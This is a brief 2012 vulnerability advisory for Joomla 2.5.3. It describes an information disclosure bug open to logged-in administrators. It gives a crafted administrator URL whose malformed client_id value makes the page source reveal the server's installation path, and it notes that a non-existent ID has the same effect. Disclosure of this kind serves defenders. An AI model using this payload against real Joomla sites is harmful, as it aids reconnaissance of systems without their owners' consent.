[ TITLE ....... ][ Joomla 2.5.3 information disclosure (tested for admin)
[ DATE ........ ][ 01.04.2012
[ AUTOHR ...... ][ http://hauntit.blogspot.com
[ SOFT LINK ... ][ http://joomla.org
[ VERSION ..... ][ 2.5.3
[ TESTED ON ... ][ LAMP
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[ 1. What is this?
[ 2. What is the type of vulnerability?
[ 3. Where is bug :)
[ 4. More...

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[ 1. What is this?
This is very nice CMS, You should try it! ;)

[--------------------------------------------[
[ 2. What is the type of vulnerability?
This is information disclosure bug for admin logged-in.

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[ 3. Where is bug :)
http://your.joomla/administrator/index.php?option=com_modules&view=positions&layout=modal&tmpl=component&function=jSelectPosition_jform_position&client_id=8%27];][][]%3E???%3E./8

Vulnerable parameter is client_id but "output" with information (disclosure bug) is available only
in HTML source (so right-click, and view source for 'invalid' string to get information where
Joomla is installed on remote server).

By the way: You can set this parameter to non-existent ID (for example 11111111111). 
You should get the same response (in source, search for 'invalid').

[--------------------------------------------[
[ 4. More...

- http://hauntit.blogspot.com
- http://www.joomla.org
- http://www.google.com
- http://portswigger.net
[
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[ All questions about new projects @ mail now :)
]
[ Best regards
[